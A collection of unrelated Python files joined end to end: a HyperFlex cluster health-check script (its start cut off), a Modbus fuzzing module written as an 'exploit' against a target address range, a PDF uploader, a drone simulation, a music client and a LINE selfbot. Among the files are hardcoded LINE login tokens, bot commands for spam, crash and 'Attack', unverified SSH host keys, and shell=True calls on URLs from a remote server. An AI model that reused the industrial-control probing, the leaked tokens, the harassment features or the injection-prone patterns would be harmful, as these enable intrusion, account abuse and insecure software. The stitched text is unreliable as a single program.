log_msg(INFO, "HX Health Check " + str(ver) + "\r")
# HX Controller parameter
print("\nPlease enter below info of HX-Cluster:")
hxusername = "root"
log_msg(INFO, "Username: " + hxusername + "\r")
hxpassword = getpass.getpass("Enter the HX-Cluster Root Password: ")
esxpassword = getpass.getpass("Enter the ESX Root Password: ")
port = 22
hostip = ""
hostpath = ""
log_msg(INFO, "Port: " + str(port) + "\r")
time_out = 30 # Number of seconds for timeout
log_msg(INFO, "Timeout: " + str(time_out) + "\r")
# Get Host IP Address of eth1
# cmd = "hostname -i"
cmd = "ifconfig eth1 | grep 'inet addr:' | cut -d: -f2| cut -d' ' -f1"
op = runcmd(cmd)
hostip = op.strip()
log_msg(INFO, "Host IP Address: " + str(hostip) + "\r")
# Get Host Path
cmd = "pwd"
op = runcmd(cmd)
hostpath = op.strip()
log_msg(INFO, "Host Path: " + str(hostpath) + "\r")
# Arguments passed
global arg
arg = ""
if len(sys.argv) > 1:
try:
arg = (sys.argv[1]).lower()
log_msg(INFO, "Argument: " + str(arg) + "\r")
print("Option: " + str(arg))
except Exception:
pass
# Get Controller Mgmnt IP Addresses
# Old cmd used to get controller IP Addresses
# cmd1 = "stcli cluster info | grep -i stctl_mgmt -n1 | grep -i addr"
# Get eth1 ips
cmd = "sysmtool --ns cluster --cmd info | grep -i uuid"
op = runcmd(cmd)
if op:
ips = re.findall(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", op)
if not ips:
print("HX Cluster IP Addresses are not found")
sys_exit(0)
ips.sort(key=lambda ip: map(int, reversed(ip.split('.'))))
log_msg(INFO, "IP Adresses: " + ", ".join(ips) + "\r")
global eth1_list
eth1_list = list(ips)
eth1_list.sort(key=lambda ip: map(int, reversed(ip.split('.'))))
# Get all hostnames
global hostd
hostd = {}
subreportfiles = []
print("")
#############################################################
# Get Controller eth0 ips or storage controller ips
global hxips
hxips = []
# Create instance of SSHClient object
client = paramiko.SSHClient()
# Automatically add untrusted hosts (Handle SSH Exception for unknown host)
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Get all hostnames and HX IP address using threads
# <hostname -i> cmd is not working
try:
ipthreads = []
for ip in ips:
th = threading.Thread(target=thread_geteth0ip, args=(ip, hxusername, hxpassword, time_out,))
th.start()
time.sleep(5)
ipthreads.append(th)
for t in ipthreads:
t.join()
hxips.sort(key=lambda ip: map(int, reversed(ip.split('.'))))
except Exception:
hxips = eth1_list
log_msg(INFO, "HX IP Adresses: " + ", ".join(hxips) + "\r")
#############################################################
# Create instance of SSHClient object
client = paramiko.SSHClient()
# Automatically add untrusted hosts (Handle SSH Exception for unknown host)
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Get all timestamp using threads
threads = []
for ip in hxips:
th = threading.Thread(target=thread_sshconnect, args=(ip, hxusername, hxpassword, time_out,))
th.start()
time.sleep(15)
threads.append(th)
for t in threads:
t.join()
global ht
ht = PrettyTable(hrules=ALL)
ht.field_names = ["Nodes", "IP Address", "HostName"]
ht.align = "l"
for i, ip in enumerate(hxips):
ht.add_row([i + 1, ip, hostd[ip].get("hostname", "")])
print("\r\nHX Cluster Nodes:")
print(ht)
print("")
# NTP Date check
# timestamp should be same on all storage controllers
dtresult = ""
for ip in hostd.keys():
hostd[ip]["date check"] = dtresult
try:
d = hostd[ip]["date"]
if d == "":
dtresult = "FAIL"
else:
ipdt = datetime.datetime.strptime(d, "%m/%d/%y %H:%M:%S")
for jp in hostd.keys():
if ip == jp:
continue
else:
jd = hostd[jp]["date"]
if jd == "":
dtresult = "FAIL"
continue
else:
jpdt = datetime.datetime.strptime(jd, "%m/%d/%y %H:%M:%S")
if ipdt == jpdt:
dtresult = "PASS"
continue
elif ipdt > jpdt:
t = (ipdt - jpdt).seconds
else:
t = (jpdt - ipdt).seconds
if t > 120:
dtresult = "FAIL"
break
else:
dtresult = "PASS"
hostd[ip]["date check"] = dtresult
except Exception:
continue
# NTP source ip address check
# it should be same on all storage controllers
ntpsrccheck = ""
for ip in hostd.keys():
ipntp = hostd[ip]["ntp source"]
if ipntp == "":
ntpsrccheck = "FAIL"
else:
for jp in hostd.keys():
if ip == jp:
continue
elif ipntp == hostd[jp]["ntp source"]:
ntpsrccheck = "PASS"
else:
ntpsrccheck = "FAIL"
break
hostd[ip].update({"ntp source check": ntpsrccheck})
# Get ESX IPs, vmk1 ips
global esx_hostsl
esx_hostsl = []
for ip in hostd.keys():
esxip = hostd[ip]["esxip"]
if esxip != "":
esx_hostsl.append(esxip)
global vmk1_list
vmk1_list = []
# Get all vmk1 using threads
threads = []
for ip in hostd.keys():
th = threading.Thread(target=get_vmk1, args=(ip, hxusername, esxpassword, time_out,))
th.start()
time.sleep(5)
threads.append(th)
for t in threads:
t.join()
for ip in hostd.keys():
vmk1 = hostd[ip]["vmk1"]
vmk1_list.append(vmk1)
if esx_hostsl:
try:
esx_hostsl.sort(key=lambda ip: map(int, reversed(ip.split('.'))))
except Exception:
pass
if vmk1_list:
try:
vmk1_list.sort(key=lambda ip: map(int, reversed(ip.split('.'))))
except Exception:
pass
log_msg(INFO, "Eth1 IP Adresses: " + ", ".join(eth1_list) + "\r")
log_msg(INFO, "ESX IP Adresses: " + ", ".join(esx_hostsl) + "\r")
log_msg(INFO, "vmk1 IP Adresses: " + ", ".join(vmk1_list) + "\r")
# Check the below things on each controller
nwdetail = OrderedDict()
cvm = {}
global testsum
testsum = OrderedDict()
global testdetail
testdetail = OrderedDict()
global nwtestsum
nwtestsum = OrderedDict()
global nwtestdetail
nwtestdetail = OrderedDict()
# Bug details table
bugs = {
"HX down": "HX cluster goes down during the UCS infra upgrade. This is because of the default failback delay interval(10sec) on ESXi." + "\nDefault Value - 10sec" + "\nModify to - 30sec"
}
global bgt
bgt = PrettyTable(hrules=ALL)
bgt.field_names = ["Bug", "Description"]
bgt.align = "l"
for k, v in bugs.items():
bgt.add_row([k, v])
#############################################################
# Check on all HX Controller
# Create instance of SSHClient object
for ip in hxips:
try:
print("\r\nHX Controller: " + str(ip))
# Initiate SSH Connection
client.connect(hostname=ip, username=hxusername, password=hxpassword, timeout=time_out)
msg = "\r\nSSH connection established to HX Cluster: " + ip + "\r"
log_msg(INFO, msg)
# log_msg("", msg)
testsum[ip] = OrderedDict()
testdetail[ip] = OrderedDict()
# 1. Cluster services check
# Progressbar
pbar = ProgressBarThread()
pbar.start("Cluster services check ")
log_msg(INFO, "Progressbar Started" + "\r")
cluster_services_check(ip)
# stop progressbar
pbar.stop("PASS")
log_msg(INFO, "Progressbar Stopped" + "\r")
# 2. ZooKeeper and Exhibitor check
# Progressbar
pbar = ProgressBarThread()
pbar.start("ZooKeeper & Exhibitor check")
log_msg(INFO, "Progressbar Started" + "\r")
zookeeper_check(ip)
# stop progressbar
pbar.stop("PASS")
log_msg(INFO, "Progressbar Stopped" + "\r")
# 3. HDD health check
# Progressbar
pbar = ProgressBarThread()
pbar.start("HDD health check ")
log_msg(INFO, "Progressbar Started" + "\r")
hdd_check(ip)
# stop progressbar
pbar.stop("PASS")
log_msg(INFO, "Progressbar Stopped" + "\r")
# 4. Pre-Upgrade Check
# Progressbar
pbar = ProgressBarThread()
pbar.start("Pre-Upgrade Check ")
log_msg(INFO, "Progressbar Started" + "\r")
pre_upgrade_check(ip)
# stop progressbar
pbar.stop("PASS")
log_msg(INFO, "Progressbar Stopped" + "\r")
# 5. Network Summary
# Progressbar
pbar = ProgressBarThread()
pbar.start("Network check ")
log_msg(INFO, "Progressbar Started" + "\r")
network_check(ip)
# stop progressbar
pbar.stop("PASS")
log_msg(INFO, "Progressbar Stopped" + "\r")
# Close connection
client.close()
# Create report file
create_sub_report(ip)
except Exception as e:
msg = "\r\nNot able to establish SSH connection to HX Cluster: " + ip + "\r"
log_msg(INFO, msg)
# log_msg("", msg)
log_msg(ERROR, str(e) + "\r")
# sys_exit(0)
# stop progressbar
pbar.stop("FAIL")
log_msg(INFO, "Progressbar Stopped" + "\r")
continue
###############################################################
# Display the test result
display_result()
# Print Report to file
create_main_report()
# End
sys_exit(0)
###############################################################################
|
readCoilsException.py | import os
import threading
from System.Core.Global import *
from System.Core.Colors import *
from System.Core.Modbus import *
from System.Lib import ipcalc
class Module:
info = {
'Name': 'Read Coils Exception Function',
'Author': ['@enddo'],
'Description': ("Fuzzing Read Coils Exception Function"),
}
options = {
'RHOSTS' :['' ,True ,'The target address range or CIDR identifier'],
'RPORT' :[502 ,False ,'The port number for modbus protocol'],
'UID' :['' ,True ,'Modbus Slave UID.'],
'Threads' :[1 ,False ,'The number of concurrent threads'],
'Output' :[True ,False ,'The stdout save in output directory']
}
output = ''
def exploit(self):
moduleName = self.info['Name']
print bcolors.OKBLUE + '[+]' + bcolors.ENDC + ' Module ' + moduleName + ' Start'
ips = list()
for ip in ipcalc.Network(self.options['RHOSTS'][0]):
ips.append(str(ip))
while ips:
for i in range(int(self.options['Threads'][0])):
if(len(ips) > 0):
thread = threading.Thread(target=self.do,args=(ips.pop(0),))
thread.start()
THREADS.append(thread)
else:
break
for thread in THREADS:
thread.join()
if(self.options['Output'][0]):
open(mainPath + '/Output/' + moduleName + '_' + self.options['RHOSTS'][0].replace('/','_') + '.txt','a').write('='*30 + '\n' + self.output + '\n\n')
self.output = ''
def printLine(self,str,color):
self.output += str + '\n'
if(str.find('[+]') != -1):
print str.replace('[+]',color + '[+]' + bcolors.ENDC)
elif(str.find('[-]') != -1):
print str.replace('[-]',color + '[+]' + bcolors.ENDC)
else:
print str
def do(self,ip):
c = connectToTarget(ip,self.options['RPORT'][0])
if(c == None):
self.printLine('[-] Modbus is not running on : ' + ip,bcolors.WARNING)
return None
self.printLine('[+] Connecting to ' + ip,bcolors.OKGREEN)
ans = c.sr1(ModbusADU(transId=getTransId(),unitId=int(self.options['UID'][0]))/ModbusPDU01_Read_Coils_Exception(),timeout=timeout, verbose=0)
ans = ModbusADU_Answer(str(ans))
self.printLine('[+] Response is :',bcolors.OKGREEN)
ans.show()
|
download_pdfs_v2.py | import requests
import re
import os
import dotenv
import google.cloud.storage as storage
import pandas as pd
import numpy as np
import threading
"""
Input: None
Output: GCS Client Object
"""
def connect_to_gcs():
client = storage.Client.from_service_account_json(os.getenv('credentials'))
print('successful client connection')
return client
"""
Input: PDF Link
Output: Filepath for downloaded pdf
"""
def download_pdf(link):
# format filename
filename = link[-19:-6] + link[-4:]
match = re.search("ca", filename)
filename = filename[match.start():]
# download pdf to local storage
with open(filename, "wb") as file:
file.write(requests.get(link).content)
print(f"Filename: {filename}")
return filename
"""
Input: GCS Client Object, File path
Output: None
Uploads local pdf file to GCS, then deletes local file
"""
def send_to_gcs(client, filename):
# get folder and case number for organizing GCS
dash = re.search("-", filename)
folder = filename[0:dash.start()]
print(f"folder: {folder}")
case_num = filename[dash.end():-4]
print(f"case number: {case_num}")
# navigate to bucket
bucket = client.get_bucket("intercept")
# create new blob and upload file
blob = bucket.blob(f"pdfs/{folder}/{case_num}.pdf")
blob.upload_from_filename(filename)
print('successful pdf upload')
# delete file if still in local storage
if os.path.exists(filename):
os.remove(filename)
else:
raise FileNotFoundError
"""
Input: PDF Link, Client Object
Output: None
Wrapper to download PDF and send to GCS for use with Pandas DataFrame
"""
def upload_pdf_from_csv(link, client):
filename = download_pdf(link)
send_to_gcs(client, filename)
print()
# calls function to carry out download and upload for this thread
def thread_function(data_split, client):
data_split['PDF_Link'].apply(lambda link: upload_pdf_from_csv(link, client))
def main():
dotenv.load_dotenv()
client = connect_to_gcs()
new_data = pd.read_csv("newCases.csv")
data_split = np.array_split(new_data, 4)
t1 = threading.Thread(target=thread_function, args=(data_split[0], client,))
t2 = threading.Thread(target=thread_function, args=(data_split[1], client,))
t3 = threading.Thread(target=thread_function, args=(data_split[2], client,))
t4 = threading.Thread(target=thread_function, args=(data_split[3], client,))
t1.start()
t2.start()
t3.start()
t4.start()
t1.join()
t2.join()
t3.join()
t4.join()
if __name__ == '__main__':
main() |
leap.py | #!/usr/bin/env python3
'''
Climb up and leap forward
Copyright (C) 2020 Simon D. Levy
MIT License
'''
import gym
import numpy as np
import threading
import time
ALTITUDE_TARGET = 10 # meters
def update(env):
# Create and initialize copter environment
env.reset()
# Start with motors full-throttle
u = 1 * np.ones(4)
# Loop for specified duration
while True:
# Update the environment with the current motor command, scaled to [-1,+1] and sent as an array
s, r, d, _ = env.step(u)
# Yield to other thread by sleeping for the shortest possible duration
time.sleep(np.finfo('float').eps)
# Quit if we're done (crashed)
if d: break
# Once we reach altitude, switch to forward motion
z = -s[4]
if z > ALTITUDE_TARGET:
u = np.array([0,1,0,1])
# Cleanup
del env
if __name__ == '__main__':
# Create environment
env = gym.make('gym_copter:CopterDistance-v0')
plotter = env.plotter(showtraj=True)
# Run simulation on its own thread
thread = threading.Thread(target=update, args=(env,))
thread.daemon = True
thread.start()
# Begin 3D rendering on main thread
plotter.start()
|
music.py | #!/usr/bin/env python3
# @File:music.py
# @Date:2018/05/28
# @Update:2018/06/11
# Author:Cat.1
# 2018/7/20 适应升级后的json版本
# 2018/7/27 添加token验证
import requests
import argparse
import json
import os
import re
import threading
import subprocess
import Logger
import random
import rsa
import base64
from valid_token import valid_token
global token_message
token_message = valid_token()
#token_message = token_message.replace('\\n','\n')
def check_token():
try :
token_message
except:
valid_token()
data = {
"title":None,
"platform":None,
"page":1,
}
class pymusic(object):
"""pymusic类
包括修正键入的字符方法(fix_enter)
command方法用来接受用户的命令请求
regex_func方法用来读入用户对歌曲的需求
play_lyric方法用来开启异步线程来执行歌词播放
player方法用来异步启用一个mpg123线程来播放音乐
downloader方法还是一个不完善的办法
Xia_Qq_Request_Play_Url用于请求虾米、QQ音乐的播放地址
"""
check_token()
def __init__(self):
"""
初始化日志记录方法
测试日志记录是否正常启用
"""
music_logger = Logger.Logger('music_all.log', 'debug')
music_logger.logger.debug('This is a test log.')
self.headers = {
'token': token_message
}
def fix_enter(self, platform):
"""
修正输入, 例如当你输入的是xia, net, qq时自动修正为
Xiamimusic, Neteasymusic, QQmusic
使得用户不需要按照一定的长度、规则去输入-p参数
"""
platform_dict = {
"net":"Neteasymusic",
"qq":"QQmusic",
"xia":"Xiamimusic",
}
if len(platform) < 4:
platform = platform_dict[platform]
return platform
def command(self):
"""
主命令区, 这里接受用户的参数, 包括使用的-t、-p、-id、-uid等等都是在这里被解析的
"""
global data
parser = argparse.ArgumentParser()
parser.add_argument("-t", dest = "title", help = "like: 白金迪斯科" )
parser.add_argument("-p", dest = "platform", help = "like: 网易(net)/QQ(qq)/虾米(xia)")
parser.add_argument("-id", dest = "id", help = "like 123456")
parser.add_argument("-page", dest = "page", help = "like 1")
parser.add_argument("-uid", dest = "userid", help = "like 1")
parser.add_argument("-sl", dest = "songlist", help = "like 236472")
parser.add_argument("-r", dest = "random_song", help = "like random")
args = parser.parse_args()
title = args.title
platform = args.platform
music_id = args.id
music_page = args.page
userid = args.userid
songlist = args.songlist
random_song = args.random_song
if platform == None and userid == None and songlist == None:
# 这里主要是判断一些参数是否为空, 猜测用户是想要执行什么指令, 根据猜测去构造
# 需要的json包然后发送给远端服务器并接受远端服务器的响应
# 再对响应进行解析即可播放
print(os.system("pymusic -h"))
else:
platform = self.fix_enter(platform)
if title != None:
data["title"], data["page"], data["platform"] = title, 1, platform
self.send_data("search", "0", data, "post", music_page)
elif music_id != None:
data["id"], data["page"], data["platform"] = music_id, 1, platform
self.send_data("id", "1", data, "post", music_page)
elif songlist != None:
data = {"url":songlist, "page":1,"platform":platform}
self.send_data("song_list_requests", "2", data, "post", music_page)
elif userid != None:
data = {"uid":userid}
self.send_data("user_song_list","3" , data, "post", music_page)
def regex_func(self, content):
# 判断用户是否需要单曲循环的方法
if re.findall(r"\w{1,2}\s([\-c]+)", content):
print(re.findall)
return 1
def play_lyric(self, id):
# 播放歌词的方法
subprocess.call("read_lyric -id %s"%(id), shell=True)
def player(self, play_url, loop=0):
# 播放歌曲的方法
try:
if loop == 0:
subprocess.call('mpg123 -q -v %s'%(play_url), shell=True)
else:
subprocess.call('mpg123 -q -ev %s'%(play_url), shell=True)
except:
print("[-]出现技术故障, 请稍后再试, 或者换一首音乐")
def downloader(self, play_url, loop=0):
# 测试中的办法, 用来解决qq音乐的无法播放问题
# 由于mpg123 bug引起的问题
if loop == "0":
music_file = requests.get(url=play_url)
fp = open("mymusic", 'wb')
fp.write(music_file.content)
os.system('mpg123 -q -v mymusic')
else:
music_file = requests.get(url=play_url)
fp = open("mymusic", 'wb')
fp.write(music_file.content)
os.system('mpg123 -q -v --loop -1 mymusic')
def send_data(self, p, f, _send_data, func, music_page, w=""):
# 发送数据包并解析数据包播放的方法
if music_page != None:
_send_data["page"] = music_page
if func == "post":
try:
resp = requests.post(url="http://zlclclc.cn/" + p, data=json.dumps(_send_data),headers=self.headers)
except:
print("[-]网络错误!")
if p == "id":
t1 = threading.Thread(target=self.player, args=(resp.json()["song"]["list"]["play_url"],0))
t1.start()
if t1.is_alive():
ip = resp.json()["song"]["list"]["play_url"]
t2 = threading.Thread(target=self.play_lyric, args=(ip[ip.find("id=")+3:ip.find(".mp3")],))
t2.start()
t2.join()
else:
pass
if w == "1":
return resp
try:
if resp.json()["code"] == 200:
#display songs and play
if f == "0":
for i in range(10):
try:
print("{0}".format(i), end=" ")
z = (50 - len(resp.json()["song"]["list"][i]["music_name"])) * " "
print("{0}".format(resp.json()["song"]["list"][i]["music_name"]), end=z)
print("{0}".format(resp.json()["song"]["list"][i]["artists"]))
except KeyError:
pass
print('\n')
try:
keyboard = input(">>> Enter your select ")
except KeyboardInterrupt:
print("\n用户主动退出")
print("bye")
else:
try:
if len(keyboard) > 2:
newkeyboard = int(keyboard[:1])
else:
newkeyboard = int(keyboard)
except:
try:
music_page += 1
music_page -= 1
except TypeError:
music_page = 1
if keyboard == "s" and _send_data["page"] < 10:
_send_data["page"] = int(_send_data["page"]) + 1
music_page += 1
return self.send_data(p, f, _send_data, func, music_page)
elif keyboard == "w" and _send_data["page"] > 0:
_send_data["page"] = int(_send_data["page"]) - 1
music_page -= 1
return self.send_data(p, f, _send_data, func, music_page)
else:
if int(newkeyboard) >= 0 and int(newkeyboard) <= 10:
if self.regex_func(keyboard) == 1:
#单曲循环
print('[~]如果没有音乐播放提示, 请检查您的网络情况')
t1 = threading.Thread(target=self.player, args = (resp.json()["song"]["list"][int(newkeyboard)]
["play_url"],1))
t1.start()
if t1.is_alive():
t2 = threading.Thread(target=self.play_lyric, args=(resp.json()["song"]["list"]
[int(newkeyboard)]["music_id"],))
t2.start()
t2.join()
t1.join()
else:
print('[~]如果没有音乐播放提示, 请检查您的网络情况')
t1 = threading.Thread(target=self.player, args = (resp.json()["song"]["list"][int(newkeyboard)]
["play_url"],0))
t1.start()
if t1.is_alive():
t2 = threading.Thread(target=self.play_lyric, args=(resp.json()["song"]["list"]
[int(newkeyboard)]["music_id"],))
t2.start()
t2.join()
t1.join()
print("[+]请选择新歌曲\n如果想要退出请按住Ctrl + c")
try:
title = input(">>>请输入想要搜索的歌曲: ")
if title == "exit()":
print("bye")
os.system("exit")
platform = input(">>>请输入想要搜索的平台: ")
if platform == "exit()":
print("bye")
os.system("exit")
if title != None:
music_page = 1
platform = self.fix_enter(platform)
_send_data["title"], _send_data["page"], _send_data["platform"]= title, 1, platform
self.send_data(p, _send_data, func, music_page)
except KeyboardInterrupt:
print("\n用户主动退出")
print("bye")
#Play song_list
elif f == "2":
random1 = input("[+]循环播放或者随机播放 Enter S/R\n")
# Sequential playback
if random1 == "S" or random1 == "s":
print("[~]输入 Q/q 即可退出当前歌单")
print('[~]如果没有音乐播放提示, 请检查您的网络情况')
song_List_num = int(resp.json()["song_num"])
for list_num in range(song_List_num):
ids = resp.json()["Songlist_detail"][list_num]["id"]
send_list_data = {"id":ids,"page":1,"platform":data["platform"]}
resp_list = requests.post(url="http://zlclclc.cn/" + "id", data=json.dumps(send_list_data))
#print(resp_list.json())
t1 = threading.Thread(target=self.player, args = (resp_list.json()["song"]["list"]["play_url"],))
t1.start()
if t1.is_alive():
t2 = threading.Thread(target=self.play_lyric, args=(resp_list.json()["song"]["list"]["music_id"],))
t2.start()
t2.join()
t1.join()
# Random playback
elif random1 == "R" or random1 == "r":
print("[~]输入 Q/q 即可退出当前歌单")
print('[~]如果没有音乐播放提示, 请检查您的网络情况')
song_List_num = resp.json()["song_num"]
for i in range(200):
list_num = random.randint(0,song_List_num-1)
ids = resp.json()["Songlist_detail"][list_num]["id"]
send_list_data = {"id":ids,"page":1,"platform":data["platform"]}
resp_list = requests.post(url="http://zlclclc.cn/" + "id", data=json.dumps(send_list_data))
t1 = threading.Thread(target=self.player, args = (resp_list.json()["song"]["list"]["play_url"],))
t1.start()
if t1.is_alive():
t2 = threading.Thread(target=self.play_lyric, args=(resp_list.json()["song"]["list"]["music_id"],))
t2.start()
t2.join()
t1.join()
print("[+]请选择新歌单\n如果想要退出请按住Ctrl + c")
try:
songlist = input(">>>请输入想要搜索的歌单: ")
if songlist == "exit()":
print("bye")
os.system("exit")
platform = input(">>>请输入想要搜索的平台: ")
if platform == "exit()":
print("bye")
os.system("exit")
if songlist != None:
music_page = 1
platform = self.fix_enter(platform)
_send_data["url"], _send_data["page"], _send_data["platform"]= songlist, 1, platform
self.send_data(p, f, _send_data, func, music_page)
except KeyboardInterrupt:
print("\n用户主动退出")
print("bye")
elif resp.json()["code"] == "202":
result = resp.json()
for i in range(int(result["Sum_Song_List"])):
print("{0}".format(i), end = " ")
print("{0}".format(result[str(i)]["Playlist_name"]))
try:
keyboard = input(">>> Enter your select ")
except KeyboardInterrupt:
print("\n用户主动退出")
print("bye")
else:
pass
os.system('pymusic -sl %s -p net'%(result[str(keyboard)]["Playlist_id"]))
else:
print(resp.json())
print("服务器繁忙!")
except KeyError:
print("\n[-]没有更多关于这首歌的内容\n")
else:
resp = requests.get(url="http://zlclclc.cn/" + p, headers=self.headers)
print(resp.json())
if __name__ == "__main__":
test_user = pymusic()
test_user.command()
|
5pro.py | # -*- coding: utf-8 -*-
import LINETCR
from LINETCR.lib.curve.ttypes import *
from datetime import datetime
import time, random, sys, ast, re, os, io, json, subprocess, threading, string, codecs, requests, ctypes, urllib, urllib2, urllib3, wikipedia, tempfile
from bs4 import BeautifulSoup
from urllib import urlopen
import requests
from io import StringIO
from threading import Thread
from gtts import gTTS
from googletrans import Translator
kr1 = LINETCR.LINE()
#kr1.login(qr=True)
kr1.login(token="EqjTHa8Stpz38VHBU6E8.6S7B6iV24SxpyyIZPkjUga.A3kb3f6y0t2j8J39wK2Kr/qPO4U3JqnYECThe3074v0=")#1
kr1.loginResult()
kr2 = LINETCR.LINE()
#kr2.login(qr=True)
kr2.login(token="Ep0Im22n6etgsmoNYeW9.Z2jqcI8fppmz+7xOGNlyEq.EQip/QZjGZqklE0I7Kps0r8q0hbwavO/kNgjf/yFbPA=")#2
kr2.loginResult()
kr3 = LINETCR.LINE()
#kr3.login(qr=True)
kr3.login(token="EpRgAmBDNv2GmhWKzvja.Ql+Iq95c4olkmxSaoadLoG.CesNJzko5qHxyZ5apaizHgL1ZxbQTFdDEpuBYCpCKe0=")#3
kr3.loginResult()
kr4 = LINETCR.LINE()
#kr4.login(qr=True)
kr4.login(token="EpPI22N90uDAu1OmMvL6.SGby4XQI1gAOTET1lBqQ9G.Z9Nk82VKZrpqnCz6DKZ0giucjQtPklTDRDxy2Psl/KY=")#4
kr4.loginResult()
kr5 = LINETCR.LINE()
#kr5.login(qr=True)
kr5.login(token="Ep8cEFyZLRSuFjCH7Xla.Q6+YE7DHLRb+4/UXmbKggG.3ItR6kqsO0MninRGR0pXw0rQSOItPfUEm0MULNdvAlE=")#5
kr5.loginResult()
#kr6 = LINETCR.LINE()
#kr6.login(qr=True)
#kr6.login(token="")#satpam
#kr6.loginResult()
kr6 = kr5
print "╔═════════════════════════\n║╔════════════════════════\n║╠❂➣ ล็อคอินสำเร็จแร้วสัส\n║╚════════════════════════\n╚═════════════════════════"
reload(sys)
sys.setdefaultencoding('utf-8')
helpmsg ="""
╔═════════════
║ ✰ -[✭]-Ⓣ-Ⓗ-Ⓘ-Ⓡ-Ⓓ-[✭]- ✰
╠═════════════
║╔════════════
║╠❂➣facebook
║╠❂➣Youtube
║╠❂➣Yt
║╠❂➣Music
║╠❂➣google (text)
║╠❂➣playstore (text)
║╠❂➣instagram (username)
║╠❂➣wikipedia (text)
║╠❂➣image (text)
║╠❂➣lirik (text)
║╠❂➣Cipok
║╠❂➣Gcreator
║╠❂➣idline (text)
║╠❂➣time
║╠❂➣Salam1/Salam2
║╠❂➣Creator
║╠❂➣Kelahiran
║╠❂➣Kalender/waktu
║╠❂➣say
║╠❂➣Gift8
║╠❂➣Gift/Gift1/2/3
║╠❂➣reinvite
║╠❂➣time
║╠❂➣Kapan
║╠❂➣Apakah
║╠❂➣Nah
║╠❂➣Absen
║╠❂➣runtime
║╠❂➣speed
║╠❂➣keybot
║╚════════════
║╔════════════
║╠❂➣Help
║╠❂➣status
║╚════════════
║╔════════════
║╠❂➣mode on/off
║╠❂➣protect on/off
║╠❂➣qr on/off
║╠❂➣invite on/off
║╠❂➣cancel on/off
║╚════════════
║╔════════════
║╠❂➣cctv on/off (Lurking)
║╠❂➣intip/toong (Lurkers)
║╠❂➣Setimage: (link)
║╠❂➣Papimage
║╠❂➣Setvideo: (link)
║╠❂➣Papvideo
║╠❂➣mymid
║╠❂➣Getcover @
║╠❂➣Myname
║╠❂➣Mybot
║╠❂➣Mybio
║╠❂➣Mypict
║╠❂➣Myvid
║╠❂➣Urlpict
║╠❂➣Mycover
║╠❂➣Urlcover
║╠❂➣Getmid @
║╠❂➣Getinfo @
║╠❂➣Getbio @
║╠❂➣Getname @
║╠❂➣Getprofile @
║╠❂➣Getcontact @
║╠❂➣Getpict @
║╠❂➣Getvid @
║╠❂➣Picturl @
║╠❂➣Getcover @
║╠❂➣Coverurl @
║╠❂➣Mycopy @
║╠❂➣Mybackup
║╠❂➣Testext: (text)
║╠❂➣Spam change:
║╠❂➣Spam add:
║╠❂➣Spam:
║╠❂➣Spam (text)
║╠❂➣Steal contact
║╠❂➣Auto add
║╠❂➣Spam change:
║╠❂➣Spam add:
║╠❂➣Spam:
║╠❂➣spam txt/on/jml
║╠❂➣Micadd @
║╠❂➣Micdel @
║╠❂➣Miclist
║╠❂➣Mimic target @
║╠❂➣Mimic on/off
║╚════════════
║╔════════════
║╠❂➣Gurl
║╠❂➣Grup cancel:
║╠❂➣share on/off
║╠❂➣Poto on/off
║╠❂➣Sambut on/off
║╠❂➣Pergi on/off
║╠❂➣Tag on/off
║╠❂➣Tag2 on/off
║╠❂➣contact on/off
║╠❂➣autojoin on/off
║╠❂➣autoleave on/off
║╠❂➣autoadd on/off
║╠❂➣like friend
║╠❂➣Like me
║╠❂➣link on/off
║╠❂➣simisimi on/off
║╠❂➣Autoread on/off
║╠❂➣update
║╠❂➣Pesan set:
║╠❂➣Coment Set:
║╠❂➣Comment on/off
║╠❂➣Comment
║╠❂➣Com hapus Bl
║╠❂➣Com Bl cek
║╠❂➣jam on/off
║╠❂➣Jam say:
║╚════════════
║╔════════════
║╠❂➣Link on
║╠❂➣Url
║╠❂➣Cancel
║╠❂➣Gcreator
║╠❂➣Kick @
║╠❂➣Cium @
║╠❂➣Gname:
║╠❂➣Gbroadcast:
║╠❂➣Cbroadcast:
║╠❂➣Infogrup
║╠❂➣Gruplist
║╠❂➣Friendlist
║╠❂➣Blacklist
║╠❂➣Ban @
║╠❂➣Unban @
║╠❂➣Clearban
║╠❂➣Banlist
║╠❂➣Contact ban
║╠❂➣Midban
║╠❂➣Kick @
║╠❂➣Cium @
║╠❂➣cancel
║╠❂➣friendpp:
║╠❂➣Checkmid:
║╠❂➣Checkid:
║╠❂➣Friendlist
║╠❂➣Memlist
║╠❂➣Friendinfo:
║╠❂➣Friendpict:
║╠❂➣Friendlistmid
║╠❂➣Blocklist
║╠❂➣Gruplist
║╠❂➣Gruplistmid
║╠❂➣Grupimage:
║╠❂➣Grupname
║╠❂➣Grupid
║╠❂➣Grupinfo:
║╠❂➣Gcreator
║╠❂➣invite:gcreator
║╠❂➣Gname:
║╠❂➣infogrup
║╠❂➣grup id
║╠❂➣Glist
║╠❂➣gcancel
║╠❂➣Kris/. (manggil bot)
║╠❂➣Kabur all
║╠❂➣Kris bye
║╠❂➣cipok/crot (tagall)
║╠❂➣cctv on/off
║╠❂➣Toong/Intip
║╠❂➣Gbroadcast:
║╠❂➣Cbroadcast:
║╠❂➣Getgrup image
║╠❂➣Urlgrup image
║╠❂➣Ban @
║╠❂➣Unban @
║╠❂➣Ban:
║╠❂➣Unban:
║╠❂➣Clear
║╠❂➣Ban:on
║╠❂➣Unban:on
║╠❂➣Banlist
║╠❂➣Conban/Contact ban
║╠❂➣Midban
║╠❂➣scan blacklist
║╠❂➣Bcast
║╚════════════
║╔════════════
║╠❂➣Translate-id
║╠❂➣Translate-en
║╠❂➣Translate-ar
║╠❂➣Translate-jp
║╠❂➣Translate-ko
║╠❂➣Id@en
║╠❂➣En@id
║╠❂➣Id@jp
║╠❂➣Jp@id
║╠❂➣Id@th
║╠❂➣Th@id
║╠❂➣Id@ar
║╠❂➣Ar@id
║╠❂➣Id@ko
║╠❂➣Ko@id
║╠❂➣Say-id
║╠❂➣Say-en
║╠❂➣Say-jp
║╠❂➣Say-ar
║╠❂➣Say-ko
║╠❂➣welcome
║╚════════════
║╔════════════
║╠❂➣Dadas
║╠❂➣ifconfig
║╠❂➣system
║╠❂➣kernel
║╠❂➣cpu
║╠❂➣Restart
║╠❂➣Turn off
║╠❂➣Speed
║╠❂➣crash
║╠❂➣crash kontak @
║╠❂➣Attack
║╠❂➣Spamcontact @
║╠❂➣Spamtag @
║╠❂➣Kibar
